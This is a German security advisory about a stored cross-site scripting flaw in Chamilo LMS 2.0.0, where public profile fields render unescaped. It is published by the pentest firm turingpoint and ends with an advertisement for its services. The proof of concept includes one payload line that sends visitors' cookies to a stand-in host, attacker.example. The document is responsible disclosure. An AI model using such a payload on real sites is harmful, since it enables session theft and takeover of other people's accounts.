Chamilo LMS: Pre-Auth Stored XSS auf der öffentlichen Profilseite führt zur Account-Übernahme

Sechs nutzergepflegte Profilfelder werden auf der öffentlichen Seite /user/{username} ohne Ausgabe-Kodierung gerendert, sodass ein Account mit Studentenrolle Skripte in der Sitzung jedes Besuchers (inklusive Administratoren) ausführt.

Advisory-ID: TP-2026-025
Produkt: Chamilo LMS (Open-Source-Lernplattform in PHP)
Schwachstellentyp: Stored Cross-Site-Scripting (CWE-79)
CVE: CVE-2026-45144
CVSS 3.1: 8.9 (Hoch) · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:L
Betroffene Versionen: >= 2.0.0, < 2.0.1
Behoben in: 2.0.1
Hersteller-Advisory: GHSA-9833-c7cj-x9xm
Gemeldet: 23. April 2026

Zusammenfassung

Chamilo LMS ist eine weit verbreitete Open-Source-Lernplattform. Die Profilseite GET /user/{username} ist öffentlich erreichbar und rendert sechs vom Nutzer pflegbare Felder (firstname, lastname, competences, openarea, teach, diplomas) innerhalb eines {% autoescape false %}-Blocks im Twig-Template, ohne die Werte Server-seitig zu kodieren oder zu sanitisieren. Ein Angreifer mit Studentenrolle (bei aktivierter Selbstregistrierung sogar anonym) speichert HTML in seinem Profil, das anschließend im Browser jedes Besuchers ausgeführt wird, auch bei Administratoren. Über den Diebstahl von Session-, JWT- oder localStorage-Daten führt das zur vollständigen Account-Übernahme. turingpoint hat den Ablauf verifiziert und verantwortungsvoll gemeldet; der Hersteller hat ihn in 2.0.1 behoben.

Proof of Concept

Angreifer (Studentenrolle) hinterlegt im eigenen Profil ein präpariertes Namensfeld:

firstname = <img src=x onerror=fetch('https://attacker.example/?c='+document.cookie)>

Opfer (z. B. Administrator) ruft die öffentliche Profilseite auf:
GET /user/<username>
-> Das im {% autoescape false %}-Block gerenderte Markup wird geparst,
   der onerror-Handler feuert im Origin der Anwendung und exfiltriert
   Session-/JWT-/localStorage-Daten des Opfers.

Da das Template die Ausgabe-Kodierung explizit deaktiviert ({% autoescape false %}) und die Felder ohne RichText::getSafeHtml() durchgereicht werden, bleibt das injizierte HTML lebendig und wird beim Aufruf der Profilseite ausgeführt.

Referenzen

Steckt so etwas in Ihrer Software?

Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.